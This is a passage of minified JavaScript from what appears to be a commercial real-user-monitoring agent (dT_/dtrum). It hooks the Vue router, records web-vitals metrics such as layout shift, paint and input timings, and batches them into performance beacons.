0===d?void 0:d.config)||void 0===f?void 0:f.globalProperties)||void 0===l?void 0:l.$router)||(null===(r=a.__vue__)||void 0===r?void 0:r.$router);if(G){var ea="function"===typeof G.afterEach;var ya=G.currentRoute&&ea?!0:!1}else ya=!1;if(ya){var ob,zb;if(ob=(null===(zb=G.matcher)||void 0===zb?void 0:zb.match)||G.resolve){var pb,Tb,Hc,zc=null!==(Hc=null!==(pb=G.options.base)&&void 0!==pb?pb:null===(Tb=G.options.history)|| void 0===Tb?void 0:Tb.base)&&void 0!==Hc?Hc:"",Ad=G.options.mode;zc||"hash"!==Ad||(zc="#");var Zd=zc;a=Xg;for(b=0;b<a.length;b++){var Pc=a[b];Pc.oldView&&Pe(Pc.oldView,rg(Pc.oldView,ob,Zd));Pe(Pc.newView,rg(Pc.newView,ob,Zd))}Pc=ae;a=oj;Pe(Pc,rg(Pc,ob,Zd));Pe(a,rg(a,ob,Zd))}G.afterEach(gl);B(2)}}}catch(Ke){B(1)}}function gl(a){2===Hf&&Nj(xk(a),2)}function xk(a){var b=a.matched;a=a.path;return b.length?{group:b[b.length-1].path,name:a}:{name:a}}function rg(a,b,d){var f=yc(a.name,d),l=a.name;l===d? l="/":-1!==f&&(l=l.substring(f+d.length));a=La(La({},a),{name:l});return La(La({},a),xk(b(a.name)))}function Af(a){void 0===Jl&&(Jl=Tc("prfSmpl")>Math.floor(1E4*Math.random()));Jl&&(0>hm&&(hm=Tc("msl"),Gg.dT_.si(function(){xh()},3E4),If(mb,"beforeunload",function(){xh(!0)})),Ym.push(a))}function yk(a){var b="";Ac(a.d,function(d){b+="".concat(d[0]).concat("=").concat(d[1]).concat("|")});return"".concat(a.i).concat("|").concat(a.t).concat("|").concat(b.slice(0,-1))}function dh(a,b){var d="";Ac(oc(b[1]), function(f){d+="".concat(f).concat("=").concat(b[1][f]).concat("|")});return"".concat(a).concat("|").concat(b[0]).concat("|").concat(d.slice(0,-1))}function xh(a){void 0===a&&(a=!1);Ac(Ym.splice(0),function(b){if(0===b.t){var d=!1;for(var f=b.d,l=f.length;!d&&l;)d=0===f[--l][1]}else d=!1;d||(b.a?Kl(b):hl.push(yk(b)))});Bf(a)}function Kl(a){var b=a.i,d=Yi[b];d?(d[0]+=a.t,Ac(a.d,function(f){d[1][f[0]]=void 0!==d[1][f[0]]?d[1][f[0]]+f[1]:f[1]})):(Yi[b]=[a.t,{}],Ac(a.d,function(f){Yi[b][1][f[0]]=f[1]}))} function Bf(a){void 0===a&&(a=!1);Ac(oc(Yi),function(d){hl.push(dh(d,Yi[d]))});var b="";Ac(hl,function(d,f,l){if(b.length+1+d.length>=hm){bi(b,a);b="";if(f===l.length-1)return bi("".concat(il).concat(d),a);b="".concat(il).concat(d)}else b?b=b+","+d:b="".concat(il).concat(d);b.length&&f===l.length-1&&bi(b,a)});hl=[];Yi={}}function bi(a,b){var d;void 0===b&&(b=!1);var f=Xk();vg.ar(f,a);rk(f,b,!1,!1,(d={},d.contentType="perf",d))}function Vj(a){if(Object.values)return Object.values(a);var b=[];if(a=== Object(a))for(var d in a)Ra(a,d)&&b.push(a[d]);return b}function ci(){di=Qg.connection;hc("eni")&&di&&Qe(function(a,b,d,f){!b&&de&&di&&(b="".concat(di.effectiveType||"-","|").concat(di.downlink||-1),di.type&&(b="".concat(b,"|").concat(di.type)),a.av(f,"ni",b,!1))})}function sg(a){return"longtask"===(null===a||void 0===a?void 0:a.entryType)&&50<a.duration}function Bi(a){Gg.dT_.apush(zk,{startTime:a.startTime,duration:a.duration})}function wj(){try{Wj=new PerformanceObserver(function(a){Ac(ad(a.getEntries(), sg),Bi)}),Wj.observe({type:"longtask",buffered:!0})}catch(a){}}function Zi(){ei=yg=0;zg=fi=-5E3;jl=[];if(hc("cls")&&jf.cls)try{(new PerformanceObserver(function(a){a=a.getEntries();for(var b=0;b<a.length;b++){var d=a[b];if("layout-shift"===(null===d||void 0===d?void 0:d.entryType)&&!d.hadRecentInput){var f=d.startTime;if(0===gi){if(5E3<f-fi||1E3<f-zg)fi=f,ei=0;zg=f;ei+=d.value;yg=Math.max(yg,ei)}else 1===gi&&jl.push({startTime:f,xf:d.value})}}})).observe({type:"layout-shift",buffered:!0})}catch(a){}} function Ak(){eh=new mb.PerformanceObserver(function(a){a=a.getEntries();for(var b=0;b<a.length;b++){var d=a[b],f=d.name;d=Math.round(d.startTime);"first-paint"===f&&(kl=d);"first-contentful-paint"===f&&(Bk=d)}});try{eh.observe({type:"paint",buffered:!0})}catch(a){eh.observe({entryTypes:["paint"]})}}function Xj(){im=new mb.PerformanceObserver(function(a){a=a.getEntries();a=a[a.length-1];if(a.size>Yj)switch(Yj=a.size,gi){case 0:Zm=$i(a);break;case 1:ll.push($i(a));break;case 2:pj-Mb>a.startTime&&(Yj= a.size,a=$i(a),ag("_wv_",[["AAI",String(Kb)],["lcpE",a.Bc||"-"],["lcpSel",a.Nc||"-"],["lcpS",String(a.size)],["lcpT",String(a.Aa)],["lcpU",a.url||"-"],["lcpLT",String(a.loadTime)]],!1,void 0,1))}});try{im.observe({type:"largest-contentful-paint",buffered:!0})}catch(a){im.observe({entryTypes:["largest-contentful-paint"]})}}function $i(a){var b,d=a.startTime;d&&(d=Sa(d));return{Aa:Math.round(d),loadTime:Math.round(a.loadTime),size:a.size,Nc:Uj(a.element)||"-",Bc:(null===(b=a.element)||void 0===b?void 0: b.tagName)||"-",url:a.url||"-"}}function hi(a){var b=0;for(a=a.getEntries();b<a.length;b++){var d=a[b];"first-input"===d.entryType&&d.processingStart&&d.startTime&&(Lh=Math.round(d.startTime),Ci=Math.round(d.processingStart-d.startTime))}Zj()}function Zj(){2===gi&&kc()<pj+2E4&&ag("_wv_",[["AAI",String(Kb)],["fIS",String(Lh)],["fID",String(Ci)]],!1,void 0,1)}function ml(){var a,b=null===(a=mb.PerformanceObserver)||void 0===a?void 0:a.supportedEntryTypes;return!!b&&-1!==mf(b,"first-input")}function Ck(){if(ml())try{(new PerformanceObserver(hi)).observe({type:"first-input", buffered:!0})}catch(a){}else rb("GLOBAL_EVENT_FIRED",function d(b){var f=b.detail;b=f.e.timeStamp;if(Lh||-1===mf($m,f.t)||!b)b=!1;else{f=ef();var l=1E12<b;l&&b<f?b=!1:(Lh=Math.round(l?b-f:b),Ci=Math.max(0,Math.round(Dm()-Lh)),Zj(),b=!0)}b&&wb("GLOBAL_EVENT_FIRED",d)})}function ii(a){a.detail.i===Kb&&(wb("ACTION_CLOSED",ii),gi=1)}function yh(a){var b=a.detail,d=b.a;a=b.s;if(b.i===Kb){wb("ACTION_BEFORE_SEND",yh);gi=2;b=[];d=a-d;if(hc("pt")){if(jf.lcpT){var f=Zm;for(var l=ll.length-1;0<=l;l--)if(ll[l].Aa< d){f=ll[l];break}f&&0!==f.Aa?f.Aa>d?f={Aa:-6}:Yj=f.size||0:f={Aa:-5};f.Bc&&f.Nc&&f.url?b.push(["lcpE",f.Bc],["lcpSel",f.Nc],["lcpS",String(f.size)],["lcpT",String(f.Aa)],["lcpU",f.url],["lcpLT",String(f.loadTime)]):b.push(["lcpT",String(f.Aa)])}else b.push(["lcpT","-3"]);jf.fcp?b.push(["fcp",String(Bk?Bk>d?-6:Sa(Bk):-5)]):b.push(["fcp","-3"]);jf.fp?b.push(["fp",String(kl?kl>d?-6:Sa(kl):-5)]):b.push(["fp","-3"])}if(hc("cls"))if(jf.cls){f=b.push;l=0;for(var r=jl;l<r.length;l++){var G=r[l],ea=G.startTime; if(ea<d){if(5E3<ea-fi||1E3<ea-zg)fi=ea,ei=0;zg=ea;ei+=G.xf;yg=Math.max(yg,ei)}}jl=[];f.call(b,["cls",String(+yg.toFixed(4))])}else b.push(["cls","-3"]);if(hc("lt"))if(jf.lt){f=b.push;l=String;r=0;G=ef();ea=0;for(var ya=zk;ea<ya.length;ea++){var ob=ya[ea],zb=r+ob.duration>d;G+ob.startTime+ob.duration<=a&&!zb&&(r+=ob.duration)}null===Wj||void 0===Wj?void 0:Wj.disconnect();f.call(b,["lt",l(Math.round(r))])}else b.push(["lt","-3"]);0===Lh&&0===Ci||b.push(["fIS",String(Lh)],["fID",String(Ci)]);0<b.length&& ag("_wv_",b,Kb,Mb,1)}}function jm(){try{var a=mb.dT_;if(!a||!(void 0===mb.dialogArguments?navigator.cookieEnabled||Ja():Ja()))return!1;var b=mb.dT_;b.initialized=!1;b.pageId="";b.pageTitle="";b.frameCount=0;b.bwsW=0;b.bwsH=0;b.syn=!1;b.googleBot=!1;b.tp=Pd;b.tdto=ic;b.gicv=L;b.aFU=jd;b.gPId=Lc;b.iRO=bc;b.gBI=H;b.iMD=ia;b.cfg=N;b.acfgP=ha;b.smbi=ve;b.ism=vd;b.iMod=u;b.gMu=E;b.tau=R;b.icr=oa;b.lv=Za;b.sv=vb;b.svl=Oa;b.gh=Ha;b.cvs=Xf;b.aesc=I;b.puesc=ka;b.rsc=Cb;b.tpesc=$a;b.ulc=Qb;b.afpl=Zb;b.apl=q; b.rpl=D;b.dbg=t;b.dbc=y;b.dlf=Y;b.rxapply=Eb;b.loc=O;b.sch=fj;b.gPO=Nb;b.gCPO=ac;b.gNTO=qa;b.vAT=Sa;b.cVIn=mc;b.sNT=Oc;b.gPAH=zd;b.id=Db;b.ss=Cf;b.ssP=Wk;b.asl=nf;b.sMPS=Bg;b.gBP=tf;b.cB=Xk;b.sB=rk;b.gid=Wc;b.ea=ud;b.la=We;b.lx=Ed;b.ex=bf;b.ec=mg;b.lc=kh;b.eV=Mj;b.pe=Fl;b.pw=qk;b.pl=Kf;b.rv=bh;b.rs=nd;b.pcn=Jf;b.ca=jb;b.can=Gi;b.isci=ig;b.noa=Te;b.ti=M;b.las=Va;b.gca=lb;b.gAR=Rd;b.gAA=Bd;b.sxbe=Gf;b.aWF=$e.dtAWF;b.mx=lh;b.mxf=Fd;b.mxg=fm;b.mxc=Hl;b.mxt=Il;b.mxp=bl;b.mxs=tj;b.mxu=Tj;b.gITAID=ke;b.re= qj;b.rex=Uk;b.bi=Ub;b.ei=dd;b.gci=Pb;b.gpi=cc;b.cii=lc;b.pii=$c;b.gcv=K;b.aad=Ne;b.sole=Dc;b.iolm=td;b.solb=Od;b.slem=Dd;b.lst=V;b.sle=pe;b.obc=Lj;b.ile=Tk;b.gLEELF=ib;b.gNNTV=aa;b.gLAet=Jb;b.iSAC=vi;b.sSAC=pk;b.lAID=pa;b.maep=ui;b.snt=k;b.aO=xg;b.rO=Qj;b.aMO=$h;b.rMO=Zk;b.gMN=al;b.sMN=Jh;b.lAM=Ng;b.eta=Rj;b.lta=Sj;b.etc=Og;b.ltc=Pg;b.cia=Ei;b.wst=vk;b.wsp=dl;b.wtt=gm;b.rpm=Af;b.sasl=Wi;b.dnrui=Ce;b.aFr=ad;b.fE=Ac;b.aM=wk;b.cA=gd;b.aAP=uh;b.iBt=la;b.cAE=ag;b.addE=rb;b.remE=wb;b.disE=pc;b.red=sa;b.cUIRO= Vd;b.aAWC=Cc;b.gXACT=Sd;b.aF=Kh;b.uaxu=Bc;b.gaxu=qe;b.last=nb;b.aFI=el;b.aur=Ca;b.oK=oc;b.oHOP=Ra;b.aS=ai;b.oV=Vj;b.gdi=pi;b.ssmbi=He;b.gecsss=Uj;b.fEP=Ic;b.iVRA=Ai;b.sNV=Nj;b.sVDM=B;b.gVDM=J;b.fP=dc;b.iNF=ta;b.aAPy=Xe;a.version="10243220606153550";var d=C();Zc=d.st;kc=d.nw;$d=d.pn;yc=d.io;Ob=d.apush;lf=d.sC;ng=d.gC;Hg=d.esc;Cd=d.cLSCK;og=d.gPC;ij=d.sPC;Mi=d.iVSC;Id=d.p3SC;pd=d.gSC;jj=d.sSC;qi=d.gVI;Yl=d.cPC;lk=d.gSSV;Qk=d.sSSV;mh=d.gEBTN;ph=d.gEL;Li=d.gSId;cg=d.pCfg;Ni=d.pCSAA;wl=d.cFHFAU;Ej=d.sCD;hc=d.bcv; Tc=d.ncv;Xc=d.scv;fh=d.stcv;Xl=d.rplC;Qe=d.aBPSL;zl=d.gBPSL;Eh=d.gBPSCC;bg=d.gFId;Mk=d.oEIE;hj=d.oEIEWA;Ll=d.iNV;jk=d.gVID;Dk=d.gARnVF;nj=d.cAUV;kd=d.sVIdUP;Cl=d.gDtc;aj=d.cfgO;gk=d.version;wm=d.rBPSL;Ud=d.aNVL;Mh=d.dPV;Em=d.ePV;Ml=d.eA;nl=d.dA;Nk=d.iXB;kk=d.de;Fj=d.aRI;Oi=d.gXBR;Qh=d.cCL;Dm=d.rnw;ef=d.gto;Hj=d.iEC;ti=d.ct;If=d.ael;El=d.cuel;Am=d.gNVIdN;Gj=d.gxwp;mf=d.aIOf;ol=d.prm;Fm=d.gidi;tm=d.iDCV;hk=d.gCF;d.iIO?Ue=d.iIO:(Ue=Aa,d.iIO=Ue);d.gPSMB?Ii=d.gPSMB:(Ii=fa,d.gPSMB=Ii);d.iAEPOO?md=d.iAEPOO: (md=S,d.iAEPOO=md);d.lvl?oe=d.lvl:(oe=va,d.lvl=oe);ra=ol();var f=navigator.userAgent;try{a=/Firefox[\/\s](\d+\.\d+)/;b=/(iPod|iPhone|iPad)/;d=/AppleWebKit/;if(0<=yc(f,"MSIE")){var l=f.lastIndexOf("MSIE")+5;p.ie=$d(f.substring(l,l+3));var r=f.lastIndexOf("Trident")+8;p.trident=$d(f.substring(r,r+1))}else if(0<=yc(f,"Trident")){var G=f.lastIndexOf("Trident")+8;p.trident=$d(f.substring(G,G+1));if(0<=yc(f,"rv:")){var ea=f.lastIndexOf("rv:")+3;var ya=$d(f.substring(ea,ea+2))}else 0<=yc(f,"rv ")?(ea=f.lastIndexOf("rv ")+ 3,ya=$d(f.substring(ea,ea+2))):ya=NaN;p.ie=ya}else if(0<=yc(f,"Edge")){var ob=f.lastIndexOf("Edge")+5;p.edge=$d(f.substring(ob,ob+2))}else if(0<=yc(f,"Edg/")){var zb=f.lastIndexOf("Edg/")+4;p.ec=$d(f.substring(zb,zb+2))}else if(0<=yc(f,"Android")){var pb=yc(f,"Android")+8;p.ab=parseFloat(f.substring(pb,pb+3))}else if(f.match(b)&&f.match(d))p.msf=parseFloat((f.match(/(?:OS |Version\/)([0-9]+)(?:[_.][0-9])*/)||[])[1]);else if(("Safari"===navigator.appName||-1<yc(f,"Safari"))&&-1===yc(f,"Chrom")){var Tb= f.substring(f.lastIndexOf("Version/")).match(/Version\/([0-9]+(\.[0-9]*)?)/);var Hc=Tb?$d(Tb[1]):NaN;p.sf=Hc}else if(mb.opera)p.op=$d(mb.opera.version().split(".")[0]);else if(0<=yc(f,"OPR/"))p.op=$d((f.match(/OPR\/([0-9]*\.[0-9]*)/)||[])[1]);else if(a.test(f)){var zc=$d((f.match(a)||[])[1]);p.ff=-1===zc?0:zc}else{var Ad,Zd=null===(Ad=/Chrome\/([0-9]{1,4})/.exec(f))||void 0===Ad?void 0:Ad[1];p.ch=Number(Zd)||NaN}C().syn=0<yc(f,"RuxitSynthetic");C().googleBot=0<=yc(f,"Googlebot")}catch(Gm){}var Pc, Ke=mb.dT_,Dh=gb();Dh!==Ke.version&&(null===(Pc=mb.console)||void 0===Pc?void 0:Pc.log("WARNING: Snippet version ["+Ke.version+"] and monitoring code ["+Dh+"] versions do not match! Please update your code snippet to ensure compatibility."));Ke.version="10243220606153550";h=Ke.agentStartTime||Ke.gAST();if(!Ke||Ke.initialized)return!1;f=0;for(var Ve=oc(Bj);f<Ve.length;f++)Bj[Ve[f]]=[];Sc();Qd();Pf=aj?aj():C().cfg;Pf.initializedModules="";Nk(Pf);Rg();Ve=0;p.sf?Ve=100:p.msf&&(Ve=1E3);cm=Ve;Ze={actions:{},oa:[]}; Wl=1;ge=[];Le=[];Nd=null;Ab(null,!0);vf=[];Fi();Be=0;rb("PAGE_BACKGROUND_INFORMATION",oi);rm=Of(O());tg();rb("CONFIG_UPDATE",tg);yl={};dg=ic();Rh=zf=void 0;sm=0;ik=!0;hc("imm")&&ia()||(Kd("click","C","clk"),Kd("mousedown","D","mdw"),Kd("mouseup","U","mup"));Kd("dblclick","CC","dcl");Kd("keydown","KD","kyd");Kd("keyup","KU","kyu");Kd("scroll","S","scr");Kd("touchstart","TS","tcs");Kd("touchend","TE","tce");Kd("change","H","chg");if(Xc("ade")){var Qf=Xc("ade").split(",");if(Qf&&0<Qf.length)for(Ve=0;Ve< Qf.length;Ve++)Kd(Qf[Ve])}pj=0;a:{var ri=mh("meta"),sf=Tc("mrt");for(Qf=0;Qf<ri.length;Qf++){var ff=ri[Qf],kj=ff.getAttribute("http-equiv");if(kj&&"refresh"===kj.toLowerCase()){var zh=ff.getAttribute("content");if($d((zh&&zh.split(";")||[])[0])<=sf){var xj=!0;break a}}}xj=!1}xj&&td();"undefined"!==typeof WeakMap&&(Sf=new WeakMap);var Hm=document.location;Hm&&ic().aFU(Hm.href);var Nl=Xc("rid");if(!Nl||"RID_"===Nl){ri=fh;var Ek=Xc("ridPath"),pl=Ek?Ek:mb.location.pathname,Di=mb.location.search;Di&&Di.length&& "?"===Di.charAt(0)&&(Di=Di.substring(1));Ek=Di;var Fk=31+yb(pl);Fk=31*Fk+yb(Ek);ri("rid","RID_"+(Fk&Fk))}var ak=mb.performance;if(ak){var bk=Hb(ak);if(bk){var vn=Ka(bk)?0:qa(ak);Qb((bk.requestStart-(bk.redirectEnd||vn))/2,!0)}}If(mb,"beforeunload",Lj);If(mb,"unload",$g);If(mb,"pagehide",sh);If(document,"readystatechange",Vh);Zc(Zg,3E3);If(mb,"load",Uh);Mb=Rb();xj=!xj;var Nh=ic().sSAC;Nh&&Nh(!1);var be=(hc("dsss")?Za("dtSa"):decodeURIComponent(ng("dtSa"))).split("|");if(12===be.length){var bj=hc("dsss"), wn=hc("dssv");Nh="";!bj&&wn?Nh=Za("dtSa",!0):bj&&!wn&&(Nh=decodeURIComponent(ng("dtSa")));var Ag=Nh.split("|");if(4===Ag.length){var Ol=Ag[1],xn=Ag[2],Rn=Ag[3];be.push(Ag[0]);be.push(Ol);be.push(xn||"");be.push(Rn)}}var Gk=be.join("|");xj&&xc("-");if(Gk&&"-"!==Gk){var ue=Gk.split("|");if(16===ue.length){var km=$d(ue[5]);be=Mb;if(km<=be&&6E4>=be-km){be={id:-1,kind:-1,hydrated:!1,trigger:-1};bj=0;for(var an=ka(ue[15]).split(";");bj<an.length;bj++){var Hk=an[bj],ck=Hk.substring(1);switch(Hk.charAt(0)){case "i":be.id= Number(ck);break;case "k":be.kind=Number(ck);break;case "h":be.hydrated=!!Number(ck);break;case "t":be.trigger=Number(ck)}}var ql={isDelayed:"true"==ue[0],type:ue[1],id:$d(ue[2]),name:ue[3],info:ue[4],startTime:km,frameId:ue[6],qa:Ba(ue[7]),anchor:ue[10],aa:ue[11],na:{name:Ba(ue[12]),timestamp:$d(ue[13]),group:Ba(ue[14]),trigger:be.trigger,kind:be.kind,hydrated:be.hydrated,id:be.id}};ue=!1;C()!==ic()&&(ue=ic().iRO(ql.qa));!document.referrer||ql.qa===document.referrer||ql.qa===document.location.href|| ue?Sh=ql:xc(Gk)}else xc("-")}}try{B(1);oj=ae={id:++xm,name:Ch(O()),timestamp:Mb,kind:0,trigger:Hf,hydrated:!1};var wf,lm=null===(wf=Sh)||void 0===wf?void 0:wf.na,Ik=yf(lm,ae);Ya(Ik);rb("VIEW_STABLE",Fg);rb("ACTION_ENTERED",Df);rb("ACTION_BEFORE_SEND",Mf);rb("ACTION_SENT",Vg);Qc=F(da);rb("HISTORY_API_EVENT",P);If(mb,"popstate",P);If(mb,"hashchange",P);try{Qa("pushState"),Qa("replaceState")}catch(Gm){}Qe(hb)}catch(Gm){}Gb();ah();Md();Yd();w();ci();Fh="0";var ji=document.visibilityState;ji?("hidden"=== ji&&(Fh="1"),If(document,"visibilitychange",ni)):Fh="2";Yf();gi=0;var cj=!!mb.PerformanceObserver;jf.cls=!(!cj||!mb.LayoutShift);jf.fcp=!(!cj||!mb.PerformancePaintTiming);jf.fp=!(!cj||!mb.PerformancePaintTiming);jf.lcpT=!(!cj||!mb.LargestContentfulPaint);jf.lt=!(!cj||!mb.PerformanceLongTaskTiming);hc("pt")&&(jf.fp&&Ak(),jf.lcpT&&Xj());Zi();zk=[];hc("lt")&&jf.lt&&wj();Ck();rb("ACTION_CLOSED",ii);rb("ACTION_BEFORE_SEND",yh);Ih();yi();Qe(Zh);rb("DEBUG_INFO_REQUESTED",Gl);gj();ug();rb("DEBUG_INFO_REQUESTED", Fm);re();if("undefined"===typeof mb.dT_)var Im=!1;else"undefined"===typeof mb.dtrum&&(mb.dtrum=new dj),Im=!0;if(!Im)return!1;var ki=C();ki.initialized=!0;"function"===typeof ki.initCallback&&ki.initCallback()}catch(Gm){return!1}return!0}var Gg="undefined"!==typeof window?window:self,mb="undefined"!==typeof window?window:self,Qg=navigator,Th=self,Ue,Ii,md,oe,Zc,kc,$d,yc,Ob,lf,ng,Hg,Cd,og,ij,Mi,Id,pd,jj,qi,Yl,lk,Qk,mh,ph,Li,cg,Ni,wl,Ej,hc,Tc,Xc,fh,Xl,Qe,zl,Eh,bg,Mk,hj,Ll,jk,Dk,nj,kd,Cl,aj,wm,Ud,Mh, Em,Ml,nl,Nk,kk,Fj,Oi,Qh,Dm,ef,Hj,ti,If,El,Am,Gj,mf,ol,Fm,tm,hk,gk,h,n=mb.parent,p={ie:NaN,edge:NaN,ec:NaN,ff:NaN,ch:NaN,sf:NaN,msf:NaN,ab:NaN,trident:NaN,op:NaN},z="function"===typeof PerformanceResourceTiming||"object"===typeof PerformanceResourceTiming,T="function"===typeof PerformanceNavigationTiming||"object"===typeof PerformanceNavigationTiming,Xa="function"===typeof PerformanceTiming||"object"===typeof PerformanceTiming,ub="loadEventEnd loadEventStart domComplete domContentLoadedEventEnd domContentLoadedEventStart domInteractive responseEnd".split(" "), kb=!1,Mb=-1,Kb,Gc=[],se=!1,Rf,Kg,Ig,de=!1,Be=0,ge=[],Le=[],Nd,Aj,co="^><%/\\(){}[]".split(""),nn=String.prototype.trim,Qm={"^":"^^","|":"^p",",":"^c",";":"^s"},on=function(a){var b={},d;for(d in a)Ra(a,d)&&(b[a[d]]=d);return b}(Qm),Ph={},fe,Bj=(fe={},fe.CONFIG_UPDATE=[],fe.ACTION_CLOSED=[],fe.ACTION_BEACON_FORCED=[],fe.ACTION_BEFORE_SEND=[],fe.ACTION_SENT=[],fe.ACTION_ENTERED=[],fe.ACTION_LEFT=[],fe.VIEW_CHANGE=[],fe.VIEW_STABLE=[],fe.DEBUG_INFO_REQUESTED=[],fe.CSS_TRANSMISSION_STARTED=[],fe.VISUALLY_COMPLETE= [],fe.GLOBAL_EVENT_FIRED=[],fe.HISTORY_API_EVENT=[],fe.PAGE_BACKGROUND_INFORMATION=[],fe.LOAD_END=[],fe.INSTRUMENTATION_TRIGGERED=[],fe.PAGE_LEAVING=[],fe),Ze,ul=[],om=!1,Ki,Vl,Wg,pm=[],Cj=[],Ji,vl="",Wl=1,Dj=0,nh=[],Tm,Sn=function(){function a(){this.id=++Tm;this.pb=[];this.gd=this.Kb=!1;this.Tb=[]}a.prototype.jf=function(b){this.pb.push(b)};a.prototype.ng=function(b){for(var d=0;d<this.pb.length;d++)if(this.pb[d]===b){eb(this.pb,d);break}};a.prototype.ef=function(b,d,f,l){for(var r=0,G=this.pb;r< G.length;r++)(0,G[r])(b,d,f,l)};a.prototype.lf=function(b){this.Rb=b;"string"!==typeof b&&(this.gd=!0)};a.prototype.Y=function(b,d,f){void 0===f&&(f=!1);this.Kb=this.Kb||f;Ob(this.Tb,[b,d])};a.prototype.Ya=function(b,d,f){d&&this.Y(b,d,f)};a.prototype.zb=function(b){for(var d=0,f=this.Tb;d<f.length;d++){var l=f[d];if(l[0]===b)return l[1]}return""};a.prototype.Yc=function(){for(var b=[],d=0,f=this.Tb;d<f.length;d++){var l=f[d];Ob(b,"$",l[0],"=",l[1])}return b.join("")};a.prototype.raw=function(){return this.Tb}; return a}(),Pf,oh=[],qm=0,rn=navigator&&"sendBeacon"in navigator,um=[],rm,Rm=[],pn=0,si="-",xl=0,xm=0,ae,oj,Xg=[],Hf=0,Bl=0,lj=[],sb,eo=(sb={},sb.name="",sb.type="",sb.validUntil=0,sb.start=0,sb.target=void 0,sb.url="",sb.title="",sb.view=void 0,sb),zf,Rh,sm,ik,dg,yl,qn=-1,Sh,Ok=[],li,ej,rl,Pl,fo=(li={},li._csprv_=(ej={},ej.blockedURL=je,ej.documentURL=je,ej.referrer=je,ej.sourceFile=je,ej),li._customerror_=function(a,b){return Wd(a,b,!0)},li._vc_=(rl={},rl.VE=function(a,b){return b},rl),li._dj_= function(a,b){return b},li._wv_=(Pl={},Pl.lcpU=je,Pl),li),dk=!0,go=function(){function a(){}a.prototype.zc=function(){return new Sn};a.prototype.kg=function(b,d){if(dk)return null;var f=this.zc();hc("bs")&&f.Y("bs","1",!1);ja(kg,this,b,d,f);return f.Kb?f:null};a.prototype.hf=function(b,d,f,l){f.Ya("isUnload",l?"1":"",!1);f.Ya("latC",ng("dtLatC"),!1);f.Ya("app",Xc("app"),!1);f.Y("vi",qi(),!1);f.Ya("dnt",W()?"1":"",!1);f.Y("fId",bg(),!1);l=gb();var r=gk;f.Y("v",l,!1);r!==l&&f.Y("iv",r,!1);b||(l=jk(), this.av(f,"vID",l),this.ha(f)&&Ll()&&this.av(f,"nV","1"));!b&&d&&Dk()&&f.Y("nVAT","1",!1);b=f.Ya;d=encodeURIComponent;l=Gc;Gc=[];b.call(f,"vcr",d(l.join(",")))};a.prototype.nf=function(b){var d=Kg;d&&de&&(b.Y("responseCode",d.responseCode,!1),b.Ya("responseMessage",Hg(d.message),!1),Kg=void 0)};a.prototype.qd=function(b,d,f){void 0===b&&(b=!1);void 0===d&&(d=!1);void 0===f&&(f=!1);if(b){var l=[];for(var r="",G="",ea={nb:0},ya=0,ob=ge;ya<ob.length;ya++){var zb=ob[ya];var pb=zb;var Tb=ea;if(pb.bd(Tb.nb))var Hc= pb=!0;else Tb.nb++,Hc=pb.bd(Tb.nb+pb.Ua),Hc||(Tb.nb+=pb.Ua),pb=!1;pb||(r||(r=zb.La()),G=zb.La(),zb.parentFrameActionName&&(pb=Ob,Tb=zb.pd,Tb=[0,zb.Kd,I(zb.parentFrameActionName),Tb].join("|"),pb(l,Tb)),Ob(l,zb.Mb(Hc)))}l={pc:l.join(","),referer:r,sourceUrl:G}}else l=mi(d,f);if(r=0<l.pc.length){G=this.zc();G.Y("a",Hg(l.pc),!0);Xc("domainOverride")&&(G.Y("dO",Xc("domainOverride"),!1),fh("domainOverride",""));hc("bs")&&G.Y("bs","1",!1);b&&G.Y("PV","1",!1);C().pageId!==bg()&&G.Y("pId",C().pageId,!1); Vl&&G.Y("pFId",Vl,!1);G.Y("rId",Xc("rid"),!1);G.Y("rpId",Xc("rpid"),!1);if(!b){a:{ea=(ya=mb.performance)?ya.timing:!1;if(ya&&ea&&(ya=ea.domComplete,ea=ea.domContentLoadedEventEnd,ya||ea)){ea=ya?ya:ea;break a}ea=Rf}ea&&G.Y("domR",ea,!1);this.nf(G)}ne(f)&&G.Y("unload","xhr",!1);ja(kg,this,b,d,G);dk=!1}else G=this.kg(b,d);G&&(this.pf(l.sourceUrl,G),this.hf(b,r,G,f));return{beacon:G,referrer:l.referer}};a.prototype.pf=function(b,d){var f=O();d.Y("url",encodeURIComponent(f),!1);d.Y("title",Hg(Cb(U()).substring(0, 100)),!1);var l=d.zb("a");l=l&&("s"===l.charAt(0)||"d"===l.charAt(0));b&&b!==f&&!l&&d.Y("sUrl",encodeURIComponent(b),!1)};a.prototype.av=function(b,d,f,l,r){f="function"===typeof f?f():f;"undefined"!==typeof f&&null!==f&&""!==f&&b.Y(d+(r?r:""),f,l)};a.prototype.ha=function(b){return!!b.zb("a")};a.prototype.hla=function(b){return 0<=yc(b.zb("a"),"_load_")};a.prototype.ar=function(b,d){b.lf(d)};a.prototype.aBRL=function(b,d){b.jf(d)};a.prototype.rBRL=function(b,d){b.ng(d)};return a}(),sn=function(){for(var a, b=[],d=0;256>d;d++){a=d;for(var f=0;8>f;f++)a=a&1?3988292384^a>>>1:a>>>1;b[d]=a}return b}(),mj=!1,Sm,Al,vg,tn,eg,Fh,yn=0,bn={u:"transferSize",v:"encodedBodySize",w:"decodedBodySize",L:"workerStart",M:"dtRpid",V:"dtSInfo",W:"dtTao"},am={x:"statuscode",y:"ip",A:"failedResource",C:"requestId",E:"relevance",F:"relevantArea",K:"isCritical",N:"vcIrrelevanceReason",O:"imageWidth",P:"imageHeight",Q:"imageNaturalWidth",R:"imageNaturalHeight",S:"onloadTime",T:"rtRequestId",U:"certExpDate"},cn={o:"domInteractive", p:"domContentLoadedEventStart",q:"domContentLoadedEventEnd",r:"domComplete",s:"loadEventStart",t:"loadEventEnd"},ek={c:"redirectStart",d:"redirectEnd",e:"fetchStart",f:"domainLookupStart",g:"domainLookupEnd",h:"connectStart",i:"connectEnd",j:"secureConnectionStart",k:"requestStart",l:"responseStart",m:"responseEnd"},Pk=La(La(La({},ek),{n:"domLoading"}),cn),$l=La(La(La({},ek),cn),bn),Um=La(La(La({},ek),bn),am),Yg={},Zl=Math.pow(2,-52),Pn=["dtRpid","dtSInfo","dtTao","dtRequestID"],vm={unknown:0,xmlhttprequest:1, fetch:2,beacon:3,iframe:4,frame:5,subdocument:6,img:7,image:8,css:9,svg:10,link:11,script:12,input:13,body:14,object:15,embed:16,source:17,audio:18,video:19,track:20,eventsource:21,other:22,icon:23},Vm={navigate:0,reload:1,back_forward:2,prerender:3},bm=!1,Jm=["_warning_","_error_","_log_","_rv_","_rs_"],qh=function(){function 